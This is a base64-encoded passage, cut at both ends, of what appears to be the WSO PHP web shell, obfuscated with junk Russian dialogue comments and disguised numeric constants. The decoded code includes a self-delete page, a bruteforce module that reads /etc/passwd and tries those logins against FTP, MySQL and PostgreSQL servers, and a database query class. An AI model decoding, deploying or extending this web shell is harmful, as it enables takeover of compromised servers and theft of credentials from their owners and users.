og0JzQvtC5INCy0LjQtNCw0LouICovCiAgICAndW5saW5rIGVycm9yISc7CiAgICBpZiAoJF9QT1NUWydwMSddICE9IC8qIDxEYXZpZCBCbGFpbmU+OiDQmNC90YLQtdGA0LXRgdC90L4uLi4g0KHQtNC10LvQsNC5INC80L3QtSDQvtC00L7Qu9C20LXQvdC40LUsINC90LDQudC00Lgg0LrQsNGB0YHQtdGC0YMsINC90LAg0LrQvtGC0L7RgNC+0Lkg0L3QsNC/0LjRgdCw0L3QviAn0JzQsNC70LXQvdGM0LrQuNC5INCt0LnQstC+0L0sINCw0L/RgNC10LvRjCDQstC+0YHQtdC80YzQtNC10YHRj9GCINGH0LXRgtCy0ZHRgNGC0L7Qs9C+Jy4gKi8KICAgICAgICAneWVzJwogICAgKSB3c29IZWFkZXIoKTsKICAgIGVjaG8gLyogPFBldGVyPjog0KnQsNGBINC/0L7RgdC80L7RgtGA0Y4sINC80L7QttC10YIg0LPQtNC1LdGC0L4g0LXRgdGC0YwuLi4gKi8KICAgICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7CiAgICB3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gLyogPERhdmlkIEJsYWluZT46INCf0L7RgdC80L7RgtGA0Lgg0LIg0LzQsNCz0L3QuNGC0L7RhNC+0L3QtSwg0L7QvdCwINGC0LDQvC4gKi8KYWN0aW9uQnJ1dGVmb3JjZSgpCnsKICAgIHdzb0hlYWRlcigpOwogICAgaWYgKGlzc2V0KCRfUE9TVFsncHJvdG8nXSkpIHsKICAgICAgICBlY2hvIC8qIDxBdm9uPjog0KfRkS3RgtC+INC80L3QtSDQutCw0Lot0YLQviDRgdGL0LrQsNGC0L3Qvi4uLiAqLwogICAgICAgICAgICAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKSAuICcgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkgLiAnPGJyPic7CiAgICAgICAgaWYgKCRfUE9TVFsncHJvdG8nXSA9PSAvKiA8UGV0ZXI+OiDQndGDINC4INGH0L4g0YLQsNC60L7Qs9C+LCDQv9GA0L7RgdGC0L4g0LrQsNGB0YHQtdGC0LAsINGF0L7Rg9C8INCy0LjQtNC10L4uLi4g0K8g0YLQsNC8INCyINGC0L7QvCDQstC+0LfRgNCw0YHRgtC1INC10YnRkSDRgdC40YHRjNC60YMg0YHQvtGB0YMuINCS0L7RgiDRjdGC0L7RgiDQutCw0YDQsNC/0YPQtyAtINGPLiAqLwogICAgICAgICAgICAnZnRwJwogICAgICAgICkgewogICAgICAgICAgICBmdW5jdGlvbiAvKiA8QXZvbj46INCQINCy0L7RgiDRjdGC0L4g0LzQsNC80LAg0K3QudCy0L7QvdCwLiAqLwogICAgICAgICAgICB3c29CcnV0ZUZvcmNlKCRpcCwgJHBvcnQsICRsb2dpbiwgJHBhc3MpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0ID8gJHBvcnQgOiByb3VuZCgwICsgMjEpKTsKICAgICAgICAgICAgICAgIGlmICghJGZwKSByZXR1cm4gLyogPFBldGVyPjog0JLQvtGCINGPINGB0L7Qv9C70Lgg0L/Rg9C30YvRgNGP0LzQuCDQvdCw0LTRg9Cy0LDRjiwg0Lgg0YfQvj8gKi8KICAgICAgICAgICAgICAgICAgICBmYWxzZTsKICAgICAgICAgICAgICAgICRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CiAgICAgICAgICAgICAgICBAZnRwX2Nsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICByZXR1cm4gLyogPEF2b24+OiDQldCz0L4g0LzQsNC80LAg0Lgg0YnQsNGBINGF0L7RgNC+0YjQviDQstGL0LPQu9GP0LTQuNGCLiAqLwogICAgICAgICAgICAgICAgICAgICRyZXM7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoJF9QT1NUWydwcm90byddID09IC8qIDxEYXZpZCBCbGFpbmU+OiA80LIg0LLQuNC00LXQvjo+INCS0L7RgiDRgdGC0L4g0LTQvtC70LvQsNGA0L7Qsi4g0K8g0LTQvtC70LbQtdC9INCS0LDRiNC10LzRgyDRgdGL0L3Rgy4gKi8KICAgICAgICAgICAgJ215c3FsJwogICAgICAgICkgewogICAgICAgICAgICBmdW5jdGlvbiAvKiA8UGV0ZXI+OiDQpNCw0Log0LzQvtC5INC80L7RgdC6ISEgKi8KICAgICAgICAgICAgd3NvQnJ1dGVGb3JjZSgkaXAsICRwb3J0LCAkbG9naW4sICRwYXNzKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwIC4gJzonIC4gKCRwb3J0ID8gJHBvcnQgOiByb3VuZCgwICsgMTY1MyArIDE2NTMpKSwgJGxvZ2luLCAkcGFzcyk7CiAgICAgICAgICAgICAgICBAbXlzcWxfY2xvc2UoJHJlcyk7CiAgICAgICAgICAgICAgICByZXR1cm4gLyogPEF2b24+OiDQrdGC0L4g0YfRgtC+INCy0L7QvtCx0YnQtSDQt9CwINGF0YPQudC90Y8/ISEhISAqLwogICAgICAgICAgICAgICAgICAgICRyZXM7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoJF9QT1NUWydwcm90byddID09IC8qIDxBdm9uPjog0KLQvtGCINC20LUg0YHQsNC80YvQuSDQuCDRgtCw0Lwg0Lgg0YLQsNC8ISEgKi8KICAgICAgICAgICAgJ3Bnc3FsJwogICAgICAgICkgewogICAgICAgICAgICBmdW5jdGlvbiAvKiA8UGV0ZXI+OiDQpNCw0Log0LzQvtC5INC80L7RgdC6ISEhICovCiAgICAgICAgICAgIHdzb0JydXRlRm9yY2UoJGlwLCAkcG9ydCwgJGxvZ2luLCAkcGFzcykKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJHN0ciA9ICJob3N0PSciIC4gJGlwIC4gIicgcG9ydD0nIiAuICRwb3J0IC4gIicgdXNlcj0nIiAuICRsb2dpbiAuICInIHBhc3N3b3JkPSciIC4gJHBhc3MgLiAiJyBkYm5hbWU9cG9zdGdyZXMiOwogICAgICAgICAgICAgICAgJHJlcyA9IEBwZ19jb25uZWN0KCRzdHIpOwogICAgICAgICAgICAgICAgQHBnX2Nsb3NlKCRyZXMpOwogICAgICAgICAgICAgICAgcmV0dXJuIC8qIDxQZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LgsINGC0YPRgiDQstC+0L7QsdGJ0LUg0YfRkSDQv9GA0L7QuNGB0YXQvtC00LjRgi3RgtC+LCDQsD8hISEgKi8KICAgICAgICAgICAgICAgICAgICAkcmVzOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRzdWNjZXNzID0gcm91bmQoMCk7CiAgICAgICAgJGF0dGVtcHRzID0gcm91bmQoMCk7CiAgICAgICAgJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsKICAgICAgICBpZiAoJF9QT1NUWyd0eXBlJ10gPT0gLyogPEF2b24+OiDQkdC70LjQvSwg0Y8g0L7QsdC+0YHRgdCw0LvRgdGPISAqLwogICAgICAgICAgICByb3VuZCgwICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzKQogICAgICAgICkgewogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwogICAgICAgICAgICBpZiAoaXNfYXJyYXkoJHRlbXApKSBmb3JlYWNoICgkdGVtcCAvKiA8UGV0ZXI+OiDQgdC80LDQvdCw0YDQvtGCLCDRgdC00YDQuNGB0L3QuCDQstC+0L7QsdGJ0LUg0L7RgtGB0Y7QtNCwLCDQtNC10LzQvtC9LCDQstCw0LvQuCDQvtGC0YHRjtC00LAg0LIg0L/RgNC+0YjQu9C+0LUg0LjQu9C4INCx0YPQtNGD0YnQtdC1LCDRjyDQvdC1INC30L3QsNGOLCDRkdC80LDQvdCw0YDQvtGCISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcyAvKiA8UGV0ZXI+OiDQodC00YDQuNGB0L3QuCDQvtGC0YHRjtC00LAsINCwINGC0L4g0Y8g0LzQtdC90YLQvtCyINCy0YvQt9C+0LLRgywg0LfQsNGP0LLRgyDQvdCwINGC0LXQsdGPINC90LDQutCw0YLQsNGOISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSkgewogICAgICAgICAgICAgICAgJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOwogICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICBpZiAod3NvQnJ1dGVGb3JjZShAJHNlcnZlcltyb3VuZCgwKV0sIEAkc2VydmVyW3JvdW5kKDAgKyAxKV0sICRsaW5lW3JvdW5kKDApXSwgJGxpbmVbcm91bmQoMCldKSkgewogICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQn9C+0YjRkdC7INC+0YLRgdGO0LTQsCwg0LPQvtCy0L3RjtC6ISDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAnPGI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbcm91bmQoMCldKSAuICc8L2I+OicgLiBodG1sc3BlY2lhbGNoYXJzKCRsaW5lW3JvdW5kKDApXSkgLiAnPGJyPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoQCRfUE9TVFsncmV2ZXJzZSddKSB7CiAgICAgICAgICAgICAgICAgICAgJHRtcCA9ICIiOwogICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSBzdHJsZW4oJGxpbmVbcm91bmQoMCldKSAtIHJvdW5kKDAgKyAwLjUgKyAwLjUpOyAkaSA+PSByb3VuZCgwKTsgLS0kaSkgJHRtcCAvKiA8T3BlcmF0b3I+OiDQktC+0YIg0Y3RgtC+INCy0L/QtdGH0LDRgtC70Y/RjtGJ0LUg0LHRi9C70L4uLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgLj0gLyogPERhdmlkIEJsYWluZT46INCf0L7QtNC+0LbQtNC4Li4uICovCiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lW3JvdW5kKDApXVskaV07CiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgaWYgKHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbcm91bmQoMCldLCBAJHNlcnZlcltyb3VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSldLCAkbGluZVtyb3VuZCgwKV0sICR0bXApKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gLyogPFBldGVyPjog0J7QvSDQvtCx0L7RgdGB0LDQu9GB0Y8g0L7RgNCw0L3QtiDRgdC+0LTQvtC5ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJzxiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRsaW5lW3JvdW5kKDApXSkgLiAnPC9iPjonIC4gaHRtbHNwZWNpYWxjaGFycygkdG1wKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoJF9QT1NUWyd0eXBlJ10gPT0gLyogPFBldGVyPjog0JIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCEhISAqLwogICAgICAgICAgICByb3VuZCgwICsgMikKICAgICAgICApIHsKICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CiAgICAgICAgICAgIGlmIChpc19hcnJheSgkdGVtcCkpIGZvcmVhY2ggKCR0ZW1wIC8qIDw9PT09PWVuZCBvZiBwYXJ0PT09PT0+ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFzIC8qIDxEYXZpZCBCbGFpbmU+OiDQkNCz0LAsINCy0L7RgiDRjdGC0Lgg0YDQtdCx0Y/RgtCwLi4uICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lKSB7CiAgICAgICAgICAgICAgICAkbGluZSA9IHRyaW0oJGxpbmUpOwogICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICBpZiAod3NvQnJ1dGVGb3JjZSgkc2VydmVyW3JvdW5kKDApXSwgQCRzZXJ2ZXJbcm91bmQoMCArIDAuMiArIDAuMiArIDAuMiArIDAuMiArIDAuMildLCAkX1BPU1RbJ2xvZ2luJ10sICRsaW5lKSkgewogICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgZWNobyAvKiA8RGF2aWQgQmxhaW5lPjog0K3QuSwg0L/QsNGA0L3QuCwg0Y8g0LTQtdC70LDRjiDQvtGB0L7QsdGD0Y4sINGD0LvQuNGH0L3Rg9GOINC80LDQs9C40Y4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgJzxiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkgLiAnPC9iPjonIC4gaHRtbHNwZWNpYWxjaGFycygkbGluZSkgLiAnPGJyPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7CiAgICB9CiAgICBlY2hvIC8qIDxBdm9uPjog0J3QtdC90LXQvdC10L3QtdC90LUhISAqLwogICAgICAgICc8aDE+QnJ1dGVmb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nIC4gJzx0ZD48c2VsZWN0IG5hbWU9cHJvdG8+PG9wdGlvbiB2YWx1ZT1mdHA+RlRQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1teXNxbD5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9cGdzcWw+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPicgLiAnPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJyAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICciPicgLiAnPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pIC4gJyI+JyAuICc8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInIC4gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkgLiAnIj4nIC4gJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JyAuICc8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+JyAuICc8dHI+PHRkPjxzcGFuPkJydXRlIHR5cGU8L3NwYW4+PC90ZD4nIC4gJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicgLiAnPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4nIC4gJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMiI+IERpY3Rpb25hcnk8L2xhYmVsPjwvdGQ+PC90cj4nIC4gJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicgLiAnPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48L3RyPicgLiAnPHRyPjx0ZD48c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ+JyAuICc8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAncGFzc3dkLmRpYyI+PC90ZD48L3RyPjwvdGFibGU+JyAuICc8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsKICAgIGVjaG8gLyogPERhdmlkIEJsYWluZT46INCl0L7RgtC40YLQtSDQvdC10LzQvdC+0LPQviDQstC+0LvRiNC10LHRgdGC0LLQsD8gKi8KICAgICc8L2Rpdj48YnI+JzsKICAgIHdzb0Zvb3RlcigpOwp9CgpmdW5jdGlvbiAvKiA8UGV0ZXI+OiDQl9C90LDQtdGI0YwsINC90LUg0YXQvtGC0LjQvCEgKi8KYWN0aW9uU3FsKCkKewogICAgY2xhc3MgLyogPEF2b24+OiDQndC10YIsINC90LXRgiEg0KLQtdCx0LUg0L/QviDQvtGA0LTQtdGA0YMg0LfQsNC/0YDQtdGJ0LXQvdC+INC/0L7QtNC60LDRgtGL0LLQsNGC0Ywg0YHQstC+0Lgg0LTQtdC80L7QvdGB0LrQuNC1INGP0LnRhtCwINC6INC90LDQvCEhICovCiAgICBEYkNsYXNzCiAgICB7CiAgICAgICAgdmFyIC8qIDxBdm9uPjog0K8g0LfQstC+0L3RjiDQvNC10L3RgtCw0LwhICovCiAgICAgICAgICAgICR0eXBlOwogICAgICAgIHZhciAvKiA8UGV0ZXI+OiDQn9GA0L7QtNC+0LvQttCw0Lkg0L/Ri9GA0LjRgtGM0YHRjyEg0J3Rgy4g0J3RgyDQv9GL0YDRjNGB0Y8sINC/0YvRgNGM0YHRjyDQvdCwINC80LXQvdGPLCDQv9GL0YDRjNGB0Y8sINC/0YvRgNGM0YHRjy4g0KLRiyDQtiDQt9C90LDQtdGI0YwsINGH0YLQviDRjdGC0L4g0L3QtdC30LDQutC+0L3QvdC+ISAqLwogICAgICAgICAgICAkbGluazsKICAgICAgICB2YXIgLyogPEF2b24+OiAuLi7RgdC/0LDRgdC40LHQviwg0YHQv9Cw0YHQuNCx0L4uLi4g0J7QvdC4INGD0LbQtSDQsdC70LjQt9C60L4uINCp0LDRgSDQvNC10L3RgtGLINC/0L7QtNGK0LXQtNGD0YIsINC/0L7QvdGP0Ls/ICovCiAgICAgICAgICAgICRyZXM7CgogICAgICAgIGZ1bmN0aW9uIC8qIDxEYXZpZCBCbGFpbmU+OiDQktC+0YIg0YLRiy4g0KfRgtC+INGDINGC0LXQsdGPINC30LAg0LzQsNGI0LjQvdCwPyAqLwogICAgICAgIERiQ2xhc3MoJHR5cGUpCiAgICAgICAgewogICAgICAgICAgICAkdGhpcy0+dHlwZSA9ICR0eXBlOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gLyogPFBldGVyPjog0KMg0LzQtdC90Y8/INCl0L7QvdC00LAg0YfRkdGA0L3QsNGPISAqLwogICAgICAgIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSkKICAgICAgICB7CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2UgLyogPERhdmlkIEJsYWluZT46INCY0L3RgtC10YDQtdGB0L3Qviwg0YXQvtC90LTQsC4uLiDQotCw0LrQsNGPINC60L7QvNC/0LDQutGC0L3QsNGPLCDQtNCwPyAqLwogICAgICAgICAgICAgICAgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCB0cnVlKSkgcmV0dXJuIC8qIDxQZXRlcj46INCa0L7QvNC/0LDQutGC0L3QsNGPPyDQlNCwINGB0LDQvCDQv9C+0YHQvNC+0YLRgNC4IS4uINCk0LDQuiDQvNC+0Lkg0LzQvtC30LMhISDQk9C00LUg0LzQsNGI0LjQvdCwPyAqLwogICAgICAgICAgICAgICAgICAgICAgICB0cnVlOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAvKiA8QXZvbj46INCYINCz0LTQtSDQvtC90LA/ICovCiAgICAgICAgICAgICAgICAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsKICAgICAgICAgICAgICAgICAgICBpZiAoISRob3N0W3JvdW5kKDAgKyAxKV0pICRob3N0W3JvdW5kKDAgKyAwLjIgKyAwLjIgKyAwLjIgKyAwLjIgKyAwLjIpXSA9IHJvdW5kKDAgKyAxMzU4ICsgMTM1OCArIDEzNTggKyAxMzU4KTsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3Rbcm91bmQoMCldfSBwb3J0PXskaG9zdFtyb3VuZCgwICsgMC4yICsgMC4yICsgMC4yICsgMC4yICsgMC4yKV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSkgcmV0dXJuIC8qIDxQZXRlcj46INCi0Ysg0YPQutGA0LDQuyDQvNC+0Y4g0LzQsNGI0LjQvdGDLCDRh9GRINGC0Ysg0YHRgtGL0YDQuNC7LdGC0L4g0LzQvtGOINC80LDRiNC40L3Rgz8/ICovCiAgICAgICAgICAgICAgICAgICAgICAgIHRydWU7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIC8qIDxEYXZpZCBCbGFpbmU+OiDQotGLINGB0LDQvCDQstC90LjQvNCw0YLQtdC70YzQvSDQv9C+0YHQvNC+0YLRgNC4LiAqLwogICAgICAgICAgICAgICAgZmFsc2U7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiAvKiA8QXZvbj46INCS0L7RgiDRjdGC0LAg0LXQsdCw0LvQsNC50LrQsCDRh9GC0L4g0LvQuCDRgtCy0L7RjyDQvNCw0YjQuNC90LA/ICovCiAgICAgICAgc2VsZWN0ZGIoJGRiKQogICAgICAgIHsKICAgICAgICAgICAgc3dpdGNoICgkdGhpcy0+dHlwZSkgewogICAgICAgICAgICAgICAgY2FzZSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDRgtGLINGH0ZEsINGB0LrRg9C60L7QttC40Lsg0LzQvtGOINC80LDRiNC40L3Rgz8g0JTQsCDRgyDQvNC10L3RjyDRgtCw0Lwg0LLRgdGPINC+0LTQtdC20LTQsCDQvtGB0YLQsNC70LDRgdGMISDQotCw0Lwg0LTQttC40L3RgdGLINC80L7QuCDQu9C10LbQsNC70LghICovCiAgICAgICAgICAgICAgICAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIGlmIChAbXlzcWxfc2VsZWN0X2RiKCRkYikpIHJldHVybiAvKiA8QXZvbj46INCd0YMg0YLRi9C30LTQtdGGLiDQrdGC0L4g0LYg0LzQvtGPINC70Y7QsdC40LzQsNGPINC60LXQv9C60LAhINCR0LDRgNCx0Lgt0YHQsNC50Lcg0LrQsNC60L7QuS3RgtC+LCDQutGD0LTQsCDQvNC90LUg0LXRkSDRgtC10L/QtdGA0Ywg0L7QtNC10LLQsNGC0YwsINC90LAg0L/QuNGB0Y7QvT8gKi8KICAgICAgICAgICAgICAgICAgICAgICAgdHJ1ZTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gLyogPEF2b24+OiDQotCw0LosINC00LDQuS3QutCwINC80L3QtSDRgtC10L/QtdGA0Ywg0LXQsdCw0LvQsNC50LrRgywg0LTQsNC5INGB0Y7QtNCwLi4uINCS0YHRkSwg0YLRiyDQsiDRgtGO0YDRjNC80YMg0YLQtdC/0LXRgNGMINC/0L7QudC00ZHRiNGMLCDQlNGN0LLQuNC0INCR0LvQtdC50L0hINCt0YLQviDQstC10YnQtNC+0LosINGN0YLQviDQstC10YnQtNC+0LohICovCiAgICAgICAgICAgICAgICBmYWxzZTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIC8qIDxQZXRlcj46INCB0LzQsNC90LDRgNC+0YIsINGC0Ysg0LLQvNC10YHRgtC1INGBINC00LbQuNC90YHQsNC80Lgg0YHQtdC80YzQtNC10YHRj9GCINC00L7Qu9C70LDRgNC+0LIg0YHQutGD0LrQvtC20LjQuywg0LLRgdC1INC60L7QvNC/0LDQutGCLdC00LjRgdC60Lgg0L/QvtC60YPQutC+0LbQuNC7LCDQlNC20L7QvSDQnNC10LjRgCwg0JrRjdCy0Lgg0JDQvdC00LXRgNCy0YPQtCwg0JTQuNGB0Log0Jog0LzQuNC70LvQuNC+0L3QtdGALi4uICovCiAgICAgICAgcXVlcnkoJHN0cikKICAgICAgICB7CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0KLRiyDRgdC60YPQutC+0LbQuNC7INCaINC80LjQu9C70LjQvtC90LXRgCwg0YLRiyDQs9C+0LLQvdGO0LohINCB0LzQsNC90LDRgNC+0YIhICovCiAgICAgICAgICAgICAgICAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAvKiA8QXZvbj46INCe0L0g0LzQsNGI0LjQvdGDINGA0LDRgdC60YPQutC+0LbQuNC7LCDQv9C+0LrQsCDRjyDQtdGRINCyINGA0YPQutCw0YUg0LTQtdGA0LbQsNC7ISDQryDRh9GD0YLRjCDQvdC1INGD0LzQtdGAISAqLwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAvKiA8UGV0ZXI+OiDQktGB0YLQsNC90Ywg0YEg0LfQtdC80LvQuCwg0L/RgNC+0YHRgtGD0LTQuNGI0YzRgdGPISAqLwogICAgICAgICAgICAgICAgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gLyogPEF2b24+OiDQntC/0LAhINCa0LXQv9C60LAg0L7Qv9GP0YLRjCDQvdCw0LvQsNC30LjRgi4uLiAqLwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCAkc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gLyogPFBldGVyPjog0J3RgyDRgdC/0LDRgdC40LHQvtC90YzQutC4LCDQtdC80YMt0YLQviDQutC10L/QutGDINGD0LLQtdC70LjRh9C40LssINCwINC80L7RjyDQvtC00LXQttC00LAg0Lgg0LTQuNGB0LrQuCDQvtGB0YLQsNC70LjRgdGMINCx0LDRgNCx0Lgt0YHQsNC50LchINCt0YLQviDQvdC10YfQtdGB0YLQvdC+ISDQryDRgtC10LHRjyDQvdC10L3QsNCy0LjQttGDISDQndC1INGB0LzQvtGC0YDQuCDQvdCwINC80LXQvdGPLCDQvdC1INC/0YvRgNGM0YHRjyDQvdCwINC80LXQvdGPINGB0LLQvtC40LzQuCDQs9C70LDQt9Cw0LzQuCwg0L3QtSDQv9GL0YDRjNGB0Y8sINC90LUg0LzQvtCz0YMhICovCiAgICAgICAgICAgICAgICBmYWxzZTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIC8qIDxEYXZpZCBCbGFpbmU+OiDQndGDINC70LDQtNC90L4sINC70LDQtNC90L4sINC70LDQtNC90L4uINCS0L7RgiDRh9GC0L4g0LzRiyDRgdC00LXQu9Cw0LXQvDog0L3QsNC60YDQvtC5INGB0LXQsdGPINCy0L7RgiDRjdGC0L